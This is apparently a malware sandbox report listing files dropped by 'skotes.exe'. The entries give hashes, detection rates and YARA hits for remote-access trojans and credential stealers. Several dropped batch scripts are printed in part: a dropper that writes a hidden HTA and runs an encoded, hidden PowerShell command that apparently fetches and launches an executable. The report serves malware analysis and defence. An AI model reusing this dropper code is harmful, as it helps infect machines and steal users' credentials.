Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........Rf...............,..z.......L........Y...@..........................p.......i....@...................................g......pi.`.....................g.8M.................................................. .Y..............................text...e.,.......,................. ..`.rdata...z-.. ,..\|-...,.............@..@.data...h]....Y..z....Y.............@....idata........g.......d.............@....reloc..8M....g..N....d.............@..B.symtab......`i......Rf................B.rsrc...`....pi......Tf.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4948992
Entropy (8bit):	5.8411242122940825
Encrypted:	false
SSDEEP:	98304:Epj/gWOIh9I7Uz5d7r3iP9PIKuSxn/W0mHdw6nSh+0IBtsTr:ErOIhkS33iFP3uSx/W0GdZSh96sH
MD5:	E8A5869F5D620B5B33B70EA5ACCB6AE9
SHA1:	4B32DC8C35809943D9FAFA765FF10062482F951B
SHA-256:	CF5861257BA354918CA373F76D8F6870439FC6BD4D2F04D61E872135109E7A8F
SHA-512:	A4ED9994C3070347C54D03A81918C1BE1193906C3418F6B48A18D5C67A1161843ADFC8B699CFFC4EF37EF673050D9AB32EE747E8BBFE8F7DF5C9D8D3C6D22150
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=.t>...=.t8.n.=.t9...=..s>...=..s9...=..s8...=.t<...=...<.u.=.{s9...=.{s?...=.Rich..=.................PE..L...O..g.................E.........#."...........@..........................pn.....+.K...@.................................\|.k.x.... m..M...................`k..\..P.j.8...........................h.j.@.............k.\|............................textbss.}"..............................text...R.E..."...E................. ..`.rdata...j...`h..l....E.............@..@.data....>....j.....4H.............@....idata........k......^H.............@..@.msvcjmc.....0k......tH.............@....00cfg.......@k......vH.............@..@.fptable.....Pk......xH.............@....reloc.......`k......zH.............@..B.rsrc....M... m..N...6J.............@..@........................................................................................................

C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3136512
Entropy (8bit):	5.8478854576317305
Encrypted:	false
SSDEEP:	49152:TPCQNqtC2GqQOsgUBo3B3kNC3H6vUZTr/N3e:TPVl2GqQtk
MD5:	441DA4796862373EC5F2EBC9A26AF14A
SHA1:	ADDD34940584810BF67EA80923728DD5FA9FF3DA
SHA-256:	D3C9A4541F5FFAB522695055A082F9DFE250FCAEE5CFE46A9D52581C6169B5AC
SHA-512:	682BFF4C1756A72BE47219BA79A3CD50AF21FEE439C8C00DA46CB93E67C9D20A3B28220AC10D875577ED2017B16F9B8654BDE6891AD6BAAD5C7E8EAA7A148BD2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: unknown Rule: infostealer_win_stealerium, Description: Detects Stealerium based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: infostealer_win_stormkitty, Description: Finds StormKitty samples (or their variants) based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: rat_win_dcrat_qwqdanchun, Description: Find DcRAT samples (qwqdanchun) based on specific strings, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: Sekoia.io Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...if\g................../.........../.. ....0...@.. .......................@0...........@.................................p./.K.....0...................... 0...................................................... ............... ..H............text...../.. ..../................. ..`.rsrc.........0......./.............@..@.reloc....... 0......./.............@..B................../.....H...........X............G.................................................<...4..#.V.w.d!...HAZ.......I.1.......Y.T8D.c[..2......njlO.s]yx.<.mt8*......B...-..rI...g...:.m..e.........j{Um7..9.;...$.QW.....AA0V0y.h`4bE.=...W.......M.&,..C....:.]).#..l.AG8.B..3O);.."..L."..p...<1.9;.YF. .8f.K?........WEw.:.7i(}...jY.2.]u{.....1C..r....h..:.b....vJ.......n............5.).c.....ati..S......./r6..8X.....N.d./....xeN.[.>.....F$.y'E}..+...iG.<d.7..J.zc`./H.z...

C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.8410759088706365
Encrypted:	false
SSDEEP:	6144:dLOYkR28yAQDc35Vn7VrGMVhwWQUoSwts9S2rkvLiV+/v/P/v/P/v/P/v/0EdF0n:6gbDC59VrGMNbm2SEkDA+/v/P/v/P/vE
MD5:	9A687D1ACBA1F61C2BDCB9B479BC9FA6
SHA1:	3BE6142C0815010467A52398BC78375DE4C73C0D
SHA-256:	A9CD9868BCD59153703B6EDAAFEC9EFA4F4D303DB3E0216CC2CCC0E5A381AB19
SHA-512:	34CEDF0E6AE105471FCA93B89AFADBDA74663F045EF7243D9BA6D7C7F89BDCA1737B6208CB1BB13876CF53FD877D454AFA487F18015C1DF1EF5B41AB1C7AB202
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....g.................(..........@.............@.......................................@..................................[...............................@...>..................................................<\...............................text...R'.......(.................. ..`.rdata..q....@... ...,..............@..@.data... ....`...X...L..............@....reloc...>...@...@..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5766144
Entropy (8bit):	7.178905164748844
Encrypted:	false
SSDEEP:	98304:1JEDoqN7quaPO1NxYp47T0NxO0yhhSXnvKL4Jw0ZTV:aZxqufKQQxO0yOXyU60
MD5:	E93AE1069DB1872A792F4DADCE02EC26
SHA1:	0A35E134DCEC55EBE0C58BAE72F72505AB02384A
SHA-256:	E0F37B772074ACD08E74D9CB1D349AFCFEC7A93D7E922EEFD43EE0501DDD78CF
SHA-512:	FB6DB2FD48C631FF94417ADB804F6B512A365C5FABBDB412AA5578F4820BB5FB7479E62CEDC3E670DC0D628052D42F5AB06A88BA53A3EC259DB53006E3B6406B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...\|.g..................O..6......D.O.......O...@...........................Y..................@....................T......PT..A....X..X....................T...............................T.....................P]T.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss.........S..........................idata...A...PT..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......W.............@..@................

C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	91760
Entropy (8bit):	7.094307135275264
Encrypted:	false
SSDEEP:	1536:jrhMIF6xOiZ2ENwVKs+axj60Gya1yxIdW4FBr5laHwREObL/ZOPxVC:jQkjVKsfxj6CR8Wi5lSmEObLh6xVC
MD5:	BCB905E5911BB8FE587B8FDF40495F08
SHA1:	18BA62FD0C132DAC1651C7D5639F3EF10AEFF2FC
SHA-256:	4DB911C4F22EBA9B8AA619453E46010AAFD344F4BF0B2346E88AFC6E7648B0F0
SHA-512:	89251A078DCC1B6C161684C34280E8A6B5392AA2F647C6CE7A51C4BA3391B1698394EBA396BAA8A467598F6E352EA5E5F5A05B514A09ECD6D0466AAB837BCC12
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=.U...............0.................. ........@.. ....................................`.....................................K....................@..p&..........T................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.idata...v... ...v......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.951316404857319
Encrypted:	false
SSDEEP:	49152:MspG5MAzgqvijHN9PEx7fH5ppYzNRTWDd00p:Mspavij3PQfHq2
MD5:	38A3DB1B2362BFB8E0E0537F4299796A
SHA1:	CB9FA3AC3BE23AC224CAE3A7BE61D3D107E8B82C
SHA-256:	5E8D457A37AD2335F9EBDDF695BD870F4222E943D2E747D66689FE86070E262A
SHA-512:	DC72FE003B9737734FEE90ACD6E84CC6797F4D3402C5C11BB6780AF0FC7587ED5BE65DD506A069193E5FE3C85240515514E0ACB2F94A9B7F8050B1BEEB8A4B26
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S.pg..............................L...........@...........................M.....P.................................L.W...Vp..j....`.......................q...................................................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..,.........................@...gyqqudfz.....P2..~..................@...uqvvkgld......L...... ..............@....taggant.0....L.."...$..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.751363161620825
Encrypted:	false
SSDEEP:	1536:T7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfCxM8jO+:Pq6+ouCpk2mpcWJ0r+QNTBfCCW
MD5:	594C5B62E08311E01197A10A18CECB7B
SHA1:	FDB7E65BF47EC175E2924939D39823EDAA219307
SHA-256:	85D7099E80876F3C4EB1E08241443B4EF658048CFBAA6DF1F2A5EF4C48A3A330
SHA-512:	3D680F8FFCB9E43CC9569DA320EF162667CDD6869E576AF7A661204C4F2DD99DD7D95E5858C0361EC883BE465EE5A48AF51C430B850EF2837A451FF0EF0D939C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1038978021\am_no.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	DOS batch file, ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	5.145410375718783
Encrypted:	false
SSDEEP:	48:BouU8rgHHGM16HA3Ux6D9hfa1LGYGYOVUGCGWjfNc:Ku+GM16HA3Ux6D9hf0GYGYiUGCGW+
MD5:	60A6A701A24DFDDA548EB29F31A56894
SHA1:	1C985FB0B242198D894E45AA6DB63A815196E14B
SHA-256:	62A4921C9AEB3C01610E29B491B8FFF34E87940290B680C03873847DEE765D2F
SHA-512:	6F1722FB0E623B35194288D2CCBF5BA481F2527E24522B5FEC34F1E000F9C5568EB5E1F0CD873B12E3882177A4DC7AAE142EC51DF7C9950E15E10BDDC6AA1A9E
Malicious:	false
Preview:	@echo off..if "%~1" == "" (start "" /min "%comspec%" /c "%~f0" any_word & exit /b)....set "filePath=%SystemDrive%\Temp"..if not exist "%filePath%" (.. mkdir "%filePath%".. timeout /t 2 >nul.. if not exist "%filePath%" exit /b..)....for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"') do set "htaName=%%i"..set "htaFile=%filePath%\%htaName%.hta"....(.. echo ^<script^>.. echo try {.. echo moveTo(-100, -100^);.. echo resizeTo(0, 0^);.. echo var a = new ActiveXObject('Wscript.Shell'^);.. echo var script = decodeURIComponent("%%50%%6f%%77%%65%%72%%53%%68%%65%%6c%%6c%%20%%2d%%57%%69%%6e%%64%%6f%%77%%53%%74%%79%%6c%%65%%20%%48%%69%%64%%64%%65%%6e%%20%%24%%64%%3d%%24%%65%%6e%%76%%3a%%74%%65%%6d%%70%%2b%%27%%5c%%34%%38%%33%%64%%32%%66%%61%%38%%61%%30%%64%%35%%33%%38%%31%%38%%33%%30%%36%%65%%66%%65%%62%%33%%32%%64%%33%%2e%%65%%78%%65%%27%%3b%%28%%4e%%65%%77%%2d%%4f%%6

C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1949184
Entropy (8bit):	7.951564069562092
Encrypted:	false
SSDEEP:	49152:KLB79oBXD41RKjOYmvOnYUNthxgTiEcc/:QBWBXEKjOYzYUNt7fXc/
MD5:	815D10533B90709F0F9E7C473B74277B
SHA1:	2EE6098AA6BBD879AC9369205F2927ED34B71022
SHA-256:	ED0D69F8548090305F603C52980415A7397BA3B65477563701A63E8F6FB0B464
SHA-512:	4D2874F7B3F275BEFBCED167CADA3519A48D0EE62499E5170CDEC535A0D693F0BDD04FD7CAFA0832D05C0AD78A30D20398C62686225A4B018DBF92137812A0AA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................@M...........@..........................pM...........@.................................W...k............................/M.............................p/M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...mqypurkv......2.....................@...yfljshoc.....0M.....................@....taggant.0...@M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1862656
Entropy (8bit):	7.948599836581905
Encrypted:	false
SSDEEP:	49152:rDkkAop+TLsW5xkqwv/EacgzrNquyogwHVlr7B:rD1p6f5eqwvPckrNqupgwHX
MD5:	0EBEFA244B6FD0B53F07EBA2BB46A6F4
SHA1:	1AD9098B272012678469E571D4E58CC747E9EF4F
SHA-256:	D10112CEDE0D7E86D44696C5F44218DF7DD0FE35CB5FA3251989D10B75F31D7E
SHA-512:	40F6726E23B2C983A8B2CE2555DFEF3164614FB299D032A79AE3924EBF0467AD998AD086071363AA7566B3871132106965E995DDE56BFA1D7B9E76AD27D3FCE9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....g.................(...........`I...........@...........................I......3....@.................................WP..k....@.......................Q...................................................................................... . .0.......z..................@....rsrc........@......................@....idata .....P......................@... .0*..`......................@...xhiufuko....../.....................@...afrfmmjg.....PI......D..............@....taggant.0...`I.."...J..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1039131001\eb15c414be.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1261568
Entropy (8bit):	7.954940693845255
Encrypted:	false
SSDEEP:	24576:B7uq1dpJuMQmuQlLMdyIMUcqviYspZpvF9kEWUunxvjfW25ppFZU2yM:MspG5MAzgqvijHN9PEx7fH5ppYzM
MD5:	FE5DA49CFD4533C503BFE6E0C1C068E5
SHA1:	0BBE0E206AA9B27160DC20D3EEC9ACE6180032CC
SHA-256:	DBE6D4DC6FA99F12255E844EDFF6170415C4E7417AB6ABBBD2B2DDF8AC8961CB
SHA-512:	E563CD1D170AC49EA161D936ABA70AACB3F1EB21F5CCF6946525C1550BDEF8B8C811F91450B1F1B8DB85EFF6DBD84C36F270D5715D76E3845FC8A93735E3C848
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S.pg..............................L...........@...........................M.....P.................................L.W...Vp..j....`.......................q...................................................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..,.........................@...gyqqudfz.....P2..~..................@...uqvvkgld......L...... ..............@....taggant.0....L.."...$..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe
File Type:	ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	5.148949204720978
Encrypted:	false
SSDEEP:	48:DouU8rgHHGM16HA3Ux6D9hfa1LGYGYOVUGCGWjfNc:su+GM16HA3Ux6D9hf0GYGYiUGCGW+
MD5:	A571B5B35D1D9BD3E2510F3C50CFEC27
SHA1:	8A16A985EAB9FC82AC3FF8273FAF2814829D735F
SHA-256:	809ABB251EA63849E514B88A0F1E1BEB1F54B74D5FA91BC512F960F704FDF3EA
SHA-512:	3BC6BD8E8B4B3360F9BE4FB426D8D9C563080E1F808C989641FCE7C4FE6A28157C5704E9205B260430A7819E131ADA025A1C5C98BCD111E52D0275058C014A8E
Malicious:	false
Preview:	@shift /0..@echo off..if "%~1" == "" (start "" /min "%comspec%" /c "%~f0" any_word & exit /b)....set "filePath=%SystemDrive%\Temp"..if not exist "%filePath%" (.. mkdir "%filePath%".. timeout /t 2 >nul.. if not exist "%filePath%" exit /b..)....for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"') do set "htaName=%%i"..set "htaFile=%filePath%\%htaName%.hta"....(.. echo ^<script^>.. echo try {.. echo moveTo(-100, -100^);.. echo resizeTo(0, 0^);.. echo var a = new ActiveXObject('Wscript.Shell'^);.. echo var script = decodeURIComponent("%%50%%6f%%77%%65%%72%%53%%68%%65%%6c%%6c%%20%%2d%%57%%69%%6e%%64%%6f%%77%%53%%74%%79%%6c%%65%%20%%48%%69%%64%%64%%65%%6e%%20%%24%%64%%3d%%24%%65%%6e%%76%%3a%%74%%65%%6d%%70%%2b%%27%%5c%%34%%38%%33%%64%%32%%66%%61%%38%%61%%30%%64%%35%%33%%38%%31%%38%%33%%30%%36%%65%%66%%65%%62%%33%%32%%64%%33%%2e%%65%%78%%65%%27%%3b%%28%%4e%%65%%77

C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe
File Type:	ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	5.148949204720978
Encrypted:	false
SSDEEP:	48:DouU8rgHHGM16HA3Ux6D9hfa1LGYGYOVUGCGWjfNc:su+GM16HA3Ux6D9hf0GYGYiUGCGW+
MD5:	A571B5B35D1D9BD3E2510F3C50CFEC27
SHA1:	8A16A985EAB9FC82AC3FF8273FAF2814829D735F
SHA-256:	809ABB251EA63849E514B88A0F1E1BEB1F54B74D5FA91BC512F960F704FDF3EA
SHA-512:	3BC6BD8E8B4B3360F9BE4FB426D8D9C563080E1F808C989641FCE7C4FE6A28157C5704E9205B260430A7819E131ADA025A1C5C98BCD111E52D0275058C014A8E
Malicious:	false
Preview:	@shift /0..@echo off..if "%~1" == "" (start "" /min "%comspec%" /c "%~f0" any_word & exit /b)....set "filePath=%SystemDrive%\Temp"..if not exist "%filePath%" (.. mkdir "%filePath%".. timeout /t 2 >nul.. if not exist "%filePath%" exit /b..)....for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"') do set "htaName=%%i"..set "htaFile=%filePath%\%htaName%.hta"....(.. echo ^<script^>.. echo try {.. echo moveTo(-100, -100^);.. echo resizeTo(0, 0^);.. echo var a = new ActiveXObject('Wscript.Shell'^);.. echo var script = decodeURIComponent("%%50%%6f%%77%%65%%72%%53%%68%%65%%6c%%6c%%20%%2d%%57%%69%%6e%%64%%6f%%77%%53%%74%%79%%6c%%65%%20%%48%%69%%64%%64%%65%%6e%%20%%24%%64%%3d%%24%%65%%6e%%76%%3a%%74%%65%%6d%%70%%2b%%27%%5c%%34%%38%%33%%64%%32%%66%%61%%38%%61%%30%%64%%35%%33%%38%%31%%38%%33%%30%%36%%65%%66%%65%%62%%33%%32%%64%%33%%2e%%65%%78%%65%%27%%3b%%28%%4e%%65%%77

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0e0blagw.ppt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lta12ye.vlc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1uy3meue.ced.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55r45vtz.rmu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5h3sf55x.woy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
